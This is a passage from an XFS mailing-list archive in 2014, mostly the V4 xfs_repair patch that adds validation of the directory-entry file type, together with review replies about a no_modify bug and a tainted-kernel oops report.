CPU: 10 PID: 13005 Comm: kworker/10:3 Tainted: GF D = IO 3.13.0-rc2-0.9-default #28 That's a rather heavily tainted kernel you are testing there. It's got forced module loads, TAINT_DIE which means this isn't the first oops the kernel has had, TAINT_FIRMWARE_WORKAROUND which means the hardware has bios/errata issues that need fixing, and you're building and using out-of-tree modules that are force loaded so there's no guarantee that all kernel/module ABIs match precisely.... The key one is that TAINT_DIE is already set. Something has already paniced on the machine, and once that happens all bets are off. Can you reproduce this on a clean, untainted kernel? Cheers, Dave. --=20 Dave Chinner david@fromorbit.com From david@fromorbit.com Fri Jan 24 16:31:23 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1E0507F7D for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 16:31:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 00F548F8054 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:31:19 -0800 (PST) X-ASG-Debug-ID: 1390602677-04bdf030e8101720001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HDmDinE2RXSswOMH for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:31:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkEJADvp4lJ5LGaB/2dsb2JhbABagwy3fYVPgQcXdIIlAQEBBCcTHCMQCAMOCgklDwUlAyETiATJMBcWjhJkB4MkgRQEmCaKT4dQg0EogSwCHgY Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Jan 2014 09:00:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W6pH3-0000Vh-Hz; Sat, 25 Jan 2014 09:30:53 +1100 Date: Sat, 25 Jan 2014 09:30:53 +1100 From: Dave Chinner <david@fromorbit.com> To: Brian Foster <bfoster@redhat.com> Cc: xfs@oss.sgi.com Subject: Re: [PATCH V3] xfs_repair: add support for validating dirent ftype field Message-ID: <20140124223053.GC26397@dastard> X-ASG-Orig-Subj: Re: [PATCH V3] xfs_repair: add support for validating dirent ftype field References: <1390517573-29898-1-git-send-email-david@fromorbit.com> <52E26DD2.5020808@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E26DD2.5020808@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390602677 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jan 24, 2014 at 08:42:42AM -0500, Brian Foster wrote: > On 01/23/2014 05:52 PM, Dave Chinner wrote: > > @@ -2189,6 +2238,59 @@ out_fix: > > * shortform directory v2 processing routines -- entry verification and > > * bad entry deletion (pruning). > > */ > > +static struct xfs_dir2_sf_entry * > > +shortform_dir2_junk( > > + struct xfs_mount *mp, > > + struct xfs_dir2_sf_hdr *sfp, > > + struct xfs_dir2_sf_entry *sfep, > > + xfs_ino_t lino, > > + int *max_size, > > + int *index, > > + int *bytes_deleted, > > + int *ino_dirty) > > +{ > > + struct xfs_dir2_sf_entry *tmp_sfep; > > + int tmp_len; > > + int tmp_elen; > > + > > + if (lino == orphanage_ino) > > + orphanage_ino = 0; > > + if (no_modify) { > > + do_warn(_("would junk entry\n")); > > + return NULL; > > Argh, sorry I missed this last time. ;) This looks like a problem. In > the no_modify case, we return NULL and 'continue' in the caller, which > skips the loop end logic and leads to bad things. > > We could calculate and return the next entry here, but it might be > cleaner to use a goto instead of continue in the callers and not > duplicate the logic. Argh, my bad. I missed that too. As it is, we already calculate the next entry in this function - tmp_sfep > > > + } > > + > > + tmp_elen = xfs_dir3_sf_entsize(mp, sfp, > > + sfep->namelen); > > + tmp_sfep = (xfs_dir2_sf_entry_t *) > > + ((__psint_t) sfep + tmp_elen); > > + tmp_len = *max_size - ((__psint_t) tmp_sfep > > + - (__psint_t) sfp); > > + *max_size -= tmp_elen; > > + *bytes_deleted += tmp_elen; > > + > > + memmove(sfep, tmp_sfep, tmp_len); What this code is doing is moving all the subsequent entries after the one being junked down over the entry we are junking... > > + > > + sfp->count -= 1; > > + memset((void *)((__psint_t)sfep + tmp_len), 0, > > + tmp_elen); And then zeroing the remaining bytes of the region that is no longer used. So the no modify check needs to happen after calculating tmp_sfep and return that... Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Fri Jan 24 16:38:38 2014 Return-Path: <dave@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A96C27F84 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 16:38:38 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 54511AC003 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:38:35 -0800 (PST) X-ASG-Debug-ID: 1390603112-04bdf030eb101ae0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id v7kx0Ic9IuCTR9dL for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 14:38:32 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvQMAJzq4lJ5LGaB/2dsb2JhbABagww4pz0DllsXdIIlAS0vOxgYUgM0iASdDKw4jih1hC4ElD+FGokch1CDQSiBLAIeBg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Jan 2014 09:08:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from <dave@fromorbit.com>) id 1W6pOP-0000We-D4 for xfs@oss.sgi.com; Sat, 25 Jan 2014 09:38:29 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from <dave@disappointment.disaster>) id 1W6pOP-0007j6-Bp for xfs@oss.sgi.com; Sat, 25 Jan 2014 09:38:29 +1100 From: Dave Chinner <david@fromorbit.com> To: xfs@oss.sgi.com Subject: [PATCH V4] xfs_repair: add support for validating dirent ftype field Date: Sat, 25 Jan 2014 09:38:29 +1100 X-ASG-Orig-Subj: [PATCH V4] xfs_repair: add support for validating dirent ftype field Message-Id: <1390603109-29667-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390603112 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner <dchinner@redhat.com> Add code to track the filetype of an inode from phase 3 when all the inodes are scanned throught to phase 6 when the directory structure is validated and corrected. Add code to phase 6 shortform and long form directory entry validation to read the ftype from the dirent, lookup the inode record and check they are the same. If they aren't and we are in no-modify mode, issue a warning such as: Phase 6 - check inode connectivity... - traversing filesystem ... would fix ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... If we are fixing the problem: Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... fixing ftype mismatch (5/1) in directory/child inode 64/68 - traversal finished ... - moving disconnected inodes to lost+found ... Note that this is from a leaf form directory entry that was intentionally corrupted with xfs_db like so: xfs_db> inode 64 xfs_db> a u3.bmx[0].startblock xfs_db> p .... du[3].inumber = 68 du[3].namelen = 11 du[3].name = "syscalltest" du[3].filetype = 1 du[3].tag = 0x70 .... xfs_db> write du[3].filetype 5 du[3].filetype = 5 xfs_db> quit Shortform directory entry repair was tested in a similar fashion. Further, track the ftype in the directory hash table that is build, so if the directory is rebuild from scratch it has the necessary ftype information to rebuild the directory correctly. Further, if we detect a ftype mismatch, update the entry in the hash so that later directory errors that lead to it being rebuilt use the corrected ftype field, not the bad one. Note that this code pulls in some kernel side code that is currently in kernel private locations (xfs_mode_to_ftype table), so there'll be some kernel/userspace sync work needed to bring these back into line. Signed-off-by: Dave Chinner <dchinner@redhat.com> Version 4: - removed a couple more typedefs - fixed no_modify return value from shortform_dir2_junk() - cleaned up variable naming, formatting and comments in shortform_dir2_junk() to make it more obvious what it is doing. Version 3: - fixed max_size updates - fixed comment grammar Version 2: - factored out junking of entry in shortform directory code - fixed leak of ftypes array memory --- include/xfs_dir2.h | 3 + libxfs/xfs_dir2.c | 16 ++++ repair/dino_chunks.c | 11 +++ repair/incore.h | 27 +++++- repair/incore_ino.c | 30 ++++++- repair/phase6.c | 246 ++++++++++++++++++++++++++++++++++++--------------- repair/scan.c | 4 +- 7 files changed, 258 insertions(+), 79 deletions(-) diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 9910401..3900130 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -57,6 +57,9 @@ extern int xfs_dir_replace(struct xfs_trans *tp, struct xfs_inode *dp, extern int xfs_dir_canenter(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_name *name, uint resblks); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + /* * Direct call from the bmap code, bypassing the generic directory layer. */ diff --git a/libxfs/xfs_dir2.c b/libxfs/xfs_dir2.c index 96a3c1d..4c8c836 100644 --- a/libxfs/xfs_dir2.c +++ b/libxfs/xfs_dir2.c @@ -20,6 +20,22 @@ struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; +/* + * @mode, if set, indicates that the type field needs to be set up. + * This uses the transformation from file mode to DT_* as defined in linux/fs.h + * for file type specification. This will be propagated into the directory + * structure if appropriate for the given operation and filesystem config. + */ +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { + [0] = XFS_DIR3_FT_UNKNOWN, + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, +}; /* * ASCII case-insensitive (ie. A-Z) support for directories that was diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c index d3c2236..65281e4 100644 --- a/repair/dino_chunks.c +++ b/repair/dino_chunks.c @@ -788,6 +788,8 @@ process_inode_chunk( * we do now, this is where to start. */ if (is_used) { + __uint16_t di_mode; + if (is_inode_free(ino_rec, irec_offset)) { if (verbose || no_modify) { do_warn( @@ -803,6 +805,15 @@ process_inode_chunk( set_inode_used(ino_rec, irec_offset); /* + * store the on-disk file type for comparing in + * phase 6. + */ + di_mode = be16_to_cpu(dino->di_mode); + di_mode = (di_mode & S_IFMT) >> S_SHIFT; + set_inode_ftype(ino_rec, irec_offset, + xfs_mode_to_ftype[di_mode]); + + /* * store on-disk nlink count for comparing in phase 7 */ set_inode_disk_nlinks(ino_rec, irec_offset, diff --git a/repair/incore.h b/repair/incore.h index 38caa6d..5419884 100644 --- a/repair/incore.h +++ b/repair/incore.h @@ -293,6 +293,7 @@ typedef struct ino_tree_node { ino_ex_data_t *ex_data; /* phases 6,7 */ parent_list_t *plist; /* phases 2-5 */ } ino_un; + __uint8_t *ftypes; /* phases 3,6 */ } ino_tree_node_t; #define INOS_PER_IREC (sizeof(__uint64_t) * NBBY) @@ -359,7 +360,8 @@ ino_tree_node_t *find_uncertain_inode_rec(xfs_agnumber_t agno, xfs_agino_t ino); void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free); -void add_aginode_uncertain(xfs_agnumber_t agno, +void add_aginode_uncertain(struct xfs_mount *mp, + xfs_agnumber_t agno, xfs_agino_t agino, int free); void get_uncertain_inode_rec(struct xfs_mount *mp, xfs_agnumber_t agno, @@ -476,6 +478,29 @@ static inline void add_inode_reached(struct ino_tree_node *irec, int offset) } /* + * get/set inode filetype. Only used if the superblock feature bit is set + * which allocates irec->ftypes. + */ +static inline void +set_inode_ftype(struct ino_tree_node *irec, + int ino_offset, + __uint8_t ftype) +{ + if (irec->ftypes) + irec->ftypes[ino_offset] = ftype; +} + +static inline __uint8_t +get_inode_ftype( + struct ino_tree_node *irec, + int ino_offset) +{ + if (!irec->ftypes) + return XFS_DIR3_FT_UNKNOWN; + return irec->ftypes[ino_offset]; +} + +/* * set/get inode number of parent -- works for directory inodes only */ void set_inode_parent(ino_tree_node_t *irec, int ino_offset, diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 735737a..9502648 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -211,6 +211,21 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) return 0; } +static __uint8_t * +alloc_ftypes_array( + struct xfs_mount *mp) +{ + __uint8_t *ptr; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return NULL; + + ptr = calloc(XFS_INODES_PER_CHUNK, sizeof(*ptr)); + if (!ptr) + do_error(_("could not allocate ftypes array\n")); + return ptr; +} + /* * Next is the uncertain inode list -- a sorted (in ascending order) * list of inode records sorted on the starting inode number. There @@ -226,6 +241,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) */ static struct ino_tree_node * alloc_ino_node( + struct xfs_mount *mp, xfs_agino_t starting_ino) { struct ino_tree_node *irec; @@ -245,6 +261,7 @@ alloc_ino_node( irec->ino_un.ex_data = NULL; irec->nlink_size = sizeof(__uint8_t); irec->disk_nlinks.un8 = alloc_nlink_array(irec->nlink_size); + irec->ftypes = alloc_ftypes_array(mp); return irec; } @@ -285,6 +302,7 @@ free_ino_tree_node( } + free(irec->ftypes); free(irec); } @@ -303,7 +321,11 @@ static ino_tree_node_t **last_rec; * free is set to 1 if the inode is thought to be free, 0 if used */ void -add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) +add_aginode_uncertain( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agino_t ino, + int free) { ino_tree_node_t *ino_rec; xfs_agino_t s_ino; @@ -334,7 +356,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) ino_rec = (ino_tree_node_t *) avl_findrange(inode_uncertain_tree_ptrs[agno], s_ino); if (!ino_rec) { - ino_rec = alloc_ino_node(s_ino); + ino_rec = alloc_ino_node(mp, s_ino); if (!avl_insert(inode_uncertain_tree_ptrs[agno], &ino_rec->avl_node)) @@ -360,7 +382,7 @@ add_aginode_uncertain(xfs_agnumber_t agno, xfs_agino_t ino, int free) void add_inode_uncertain(xfs_mount_t *mp, xfs_ino_t ino, int free) { - add_aginode_uncertain(XFS_INO_TO_AGNO(mp, ino), + add_aginode_uncertain(mp, XFS_INO_TO_AGNO(mp, ino), XFS_INO_TO_AGINO(mp, ino), free); } @@ -432,7 +454,7 @@ add_inode( { struct ino_tree_node *irec; - irec = alloc_ino_node(agino); + irec = alloc_ino_node(mp, agino); if (!avl_insert(inode_tree_ptrs[agno], &irec->avl_node)) do_warn(_("add_inode - duplicate inode range\n")); return irec; diff --git a/repair/phase6.c b/repair/phase6.c index d2d4a44..cdbf4db 100644 --- a/repair/phase6.c +++ b/repair/phase6.c @@ -134,7 +134,8 @@ dir_hash_add( __uint32_t addr, xfs_ino_t inum, int namelen, - unsigned char *name) + unsigned char *name, + __uint8_t ftype) { xfs_dahash_t hash = 0; int byaddr; @@ -148,6 +149,7 @@ dir_hash_add( xname.name = name; xname.len = namelen; + xname.type = ftype; junk = name[0] == '/'; byaddr = DIR_HASH_FUNC(hashtab, addr); @@ -312,6 +314,23 @@ dir_hash_see( return DIR_HASH_CK_NODATA; } +static void +dir_hash_update_ftype( + dir_hash_tab_t *hashtab, + xfs_dir2_dataptr_t addr, + __uint8_t ftype) +{ + int i; + dir_hash_ent_t *p; + + i = DIR_HASH_FUNC(hashtab, addr); + for (p = hashtab->byaddr[i]; p; p = p->nextbyaddr) { + if (p->address != addr) + continue; + p->name.type = ftype; + } +} + /* * checks to make sure leafs match a data entry, and that the stale * count is valid. @@ -1685,11 +1704,12 @@ longform_dir2_entry_check_data( if (!orphanage_ino) orphanage_ino = inum; } + /* * check for duplicate names in directory. */ if (!dir_hash_add(mp, hashtab, addr, inum, dep->namelen, - dep->name)) { + dep->name, xfs_dir3_dirent_get_ftype(mp, dep))) { nbad++; if (entry_junked( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), @@ -1763,6 +1783,35 @@ longform_dir2_entry_check_data( */ if (no_modify && verify_inum(mp, inum)) continue; + + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; + + dir_ftype = xfs_dir3_dirent_get_ftype(mp, dep); + ino_ftype = get_inode_ftype(irec, ino_offset); + + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ip->i_ino, inum); + xfs_dir3_dirent_put_ftype(mp, dep, + ino_ftype); + libxfs_dir2_data_log_entry(tp, bp, dep); + dir_hash_update_ftype(hashtab, addr, + ino_ftype); + } + } + } + /* * check easy case first, regular inode, just bump * the link count and continue @@ -2189,6 +2238,62 @@ out_fix: * shortform directory v2 processing routines -- entry verification and * bad entry deletion (pruning). */ +static struct xfs_dir2_sf_entry * +shortform_dir2_junk( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *sfp, + struct xfs_dir2_sf_entry *sfep, + xfs_ino_t lino, + int *max_size, + int *index, + int *bytes_deleted, + int *ino_dirty) +{ + struct xfs_dir2_sf_entry *next_sfep; + int next_len; + int next_elen; + + if (lino == orphanage_ino) + orphanage_ino = 0; + + next_elen = xfs_dir3_sf_entsize(mp, sfp, sfep->namelen); + next_sfep = (xfs_dir2_sf_entry_t *)((__psint_t)sfep + next_elen); + + /* + * if we are just checking, simply return the pointer to the next entry + * here so that the checking loop can continue. + */ + if (no_modify) { + do_warn(_("would junk entry\n")); + return next_sfep; + } + + /* + * now move all the remaining entries down over the junked entry and + * clear the newly unused bytes at the tail of the directory region. + */ + next_len = *max_size - ((__psint_t)next_sfep - (__psint_t)sfp); + *max_size -= next_elen; + *bytes_deleted += next_elen; + + memmove(sfep, next_sfep, next_len); + memset((void *)((__psint_t)sfep + next_len), 0, next_elen); + sfp->count -= 1; + *ino_dirty = 1; + + /* + * WARNING: drop the index i by one so it matches the decremented count + * for accurate comparisons in the loop test + */ + (*index)--; + + if (verbose) + do_warn(_("junking entry\n")); + else + do_warn("\n"); + return sfep; +} + static void shortform_dir2_entry_check(xfs_mount_t *mp, xfs_ino_t ino, @@ -2201,15 +2306,13 @@ shortform_dir2_entry_check(xfs_mount_t *mp, xfs_ino_t lino; xfs_ino_t parent; struct xfs_dir2_sf_hdr *sfp; - xfs_dir2_sf_entry_t *sfep, *next_sfep, *tmp_sfep; - xfs_ifork_t *ifp; - ino_tree_node_t *irec; + struct xfs_dir2_sf_entry *sfep; + struct xfs_dir2_sf_entry *next_sfep; + struct xfs_ifork *ifp; + struct ino_tree_node *irec; int max_size; int ino_offset; int i; - int junkit; - int tmp_len; - int tmp_elen; int bad_sfnamelen; int namelen; int bytes_deleted; @@ -2266,9 +2369,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, for (i = 0; i < sfp->count && max_size > (__psint_t)next_sfep - (__psint_t)sfp; sfep = next_sfep, i++) { - junkit = 0; bad_sfnamelen = 0; - tmp_sfep = NULL; lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); @@ -2340,7 +2441,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("entry \"%s\" in shortform directory %" PRIu64 " references non-existent inode %" PRIu64 "\n"), fname, ino, lino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + &max_size, &i, &bytes_deleted, + ino_dirty); + continue; } ino_offset = XFS_INO_TO_AGINO(mp, lino) - irec->ino_startnum; @@ -2354,7 +2458,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("entry \"%s\" in shortform directory inode %" PRIu64 " points to free inode %" PRIu64 "\n"), fname, ino, lino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + &max_size, &i, &bytes_deleted, + ino_dirty); + continue; } /* * check if this inode is lost+found dir in the root @@ -2367,7 +2474,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, do_warn( _("%s (ino %" PRIu64 ") in root (%" PRIu64 ") is not a directory"), ORPHANAGE, lino, ino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, &max_size, &i, + &bytes_deleted, ino_dirty); + continue; } /* * if this is a dup, it will be picked up below, @@ -2381,11 +2491,15 @@ shortform_dir2_entry_check(xfs_mount_t *mp, */ if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) (sfep - xfs_dir2_sf_firstentry(sfp)), - lino, sfep->namelen, sfep->name)) { + lino, sfep->namelen, sfep->name, + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { do_warn( _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), fname, lino, ino); - goto do_junkit; + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, + &max_size, &i, &bytes_deleted, + ino_dirty); + continue; } if (!inode_isadir(irec, ino_offset)) { @@ -2403,11 +2517,14 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), * the .. in the child, blow out the entry */ if (is_inode_reached(irec, ino_offset)) { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " references already connected inode %" PRIu64 ".\n"), fname, ino, lino); + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, &max_size, &i, + &bytes_deleted, ino_dirty); + continue; } else if (parent == ino) { add_inode_reached(irec, ino_offset); add_inode_ref(current_irec, current_ino_offset); @@ -2423,76 +2540,60 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), irec, ino_offset); } else { - junkit = 1; do_warn( _("entry \"%s\" in directory inode %" PRIu64 " not consistent with .. value (%" PRIu64 ") in inode %" PRIu64 ",\n"), fname, ino, parent, lino); + next_sfep = shortform_dir2_junk(mp, sfp, sfep, + lino, &max_size, &i, + &bytes_deleted, ino_dirty); + continue; } } - if (junkit) { -do_junkit: - if (lino == orphanage_ino) - orphanage_ino = 0; - if (!no_modify) { - tmp_elen = xfs_dir3_sf_entsize(mp, sfp, - sfep->namelen); - tmp_sfep = (xfs_dir2_sf_entry_t *) - ((__psint_t) sfep + tmp_elen); - tmp_len = max_size - ((__psint_t) tmp_sfep - - (__psint_t) sfp); - max_size -= tmp_elen; - bytes_deleted += tmp_elen; - - memmove(sfep, tmp_sfep, tmp_len); - - sfp->count -= 1; - memset((void *)((__psint_t)sfep + tmp_len), 0, - tmp_elen); - - /* - * set the tmp value to the current - * pointer so we'll process the entry - * we just moved up - */ - tmp_sfep = sfep; - - /* - * WARNING: drop the index i by one - * so it matches the decremented count for - * accurate comparisons in the loop test - */ - i--; + /* validate ftype field if supported */ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t dir_ftype; + __uint8_t ino_ftype; - *ino_dirty = 1; + dir_ftype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); + ino_ftype = get_inode_ftype(irec, ino_offset); - if (verbose) - do_warn(_("junking entry\n")); - else - do_warn("\n"); - } else { - do_warn(_("would junk entry\n")); + if (dir_ftype != ino_ftype) { + if (no_modify) { + do_warn( + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + } else { + do_warn( + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), + dir_ftype, ino_ftype, + ino, lino); + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, + ino_ftype); + dir_hash_update_ftype(hashtab, + (xfs_dir2_dataptr_t)(sfep - xfs_dir2_sf_firstentry(sfp)), + ino_ftype); + *ino_dirty = 1; + } } - } else if (lino > XFS_DIR2_MAX_SHORT_INUM) + } + + if (lino > XFS_DIR2_MAX_SHORT_INUM) i8++; /* - * go onto next entry unless we've just junked an - * entry in which the current entry pointer points - * to an unprocessed entry. have to take into entries - * with bad namelen into account in no modify mode since we - * calculate size based on next_sfep. + * go onto next entry - we have to take entries with bad namelen + * into account in no modify mode since we calculate size based + * on next_sfep. */ ASSERT(no_modify || bad_sfnamelen == 0); - - next_sfep = (tmp_sfep == NULL) - ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep - + ((!bad_sfnamelen) - ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) - : xfs_dir3_sf_entsize(mp, sfp, namelen))) - : tmp_sfep; + next_sfep = (struct xfs_dir2_sf_entry *)((__psint_t)sfep + + (bad_sfnamelen + ? xfs_dir3_sf_entsize(mp, sfp, namelen) + : xfs_dir3_sf_entsize(mp, sfp, sfep->namelen))); } if (sfp->i8count != i8) { @@ -2501,6 +2602,8 @@ do_junkit: ino); } else { if (i8 == 0) { + struct xfs_dir2_sf_entry *tmp_sfep; + tmp_sfep = next_sfep; process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); bytes_deleted += @@ -2518,8 +2621,7 @@ do_junkit: /* * sync up sizes if required */ - if (*ino_dirty) { - ASSERT(bytes_deleted > 0); + if (*ino_dirty && bytes_deleted > 0) { ASSERT(!no_modify); libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); ip->i_d.di_size -= bytes_deleted; diff --git a/repair/scan.c b/repair/scan.c index 49ed194..73b4581 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { if (XFS_INOBT_IS_FREE_DISK(rp, j)) { nfree++; - add_aginode_uncertain(agno, ino + j, 1); + add_aginode_uncertain(mp, agno, ino + j, 1); } else { - add_aginode_uncertain(agno, ino + j, 0); + add_aginode_uncertain(mp, agno, ino + j, 0); } } } -- 1.8.4.rc3 From bpm@sgi.com Fri Jan 24 16:39:36 2014 Return-Path: <bpm@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5F0A57F84 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 16:39:36 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54A0D304043; Fri, 24 Jan 2014 14:39:36 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 13FD04266DC; Fri, 24 Jan 2014 16:39:36 -0600 (CST) Date: Fri, 24 Jan 2014 16:39:36 -0600 From: Ben Myers <bpm@sgi.com> To: 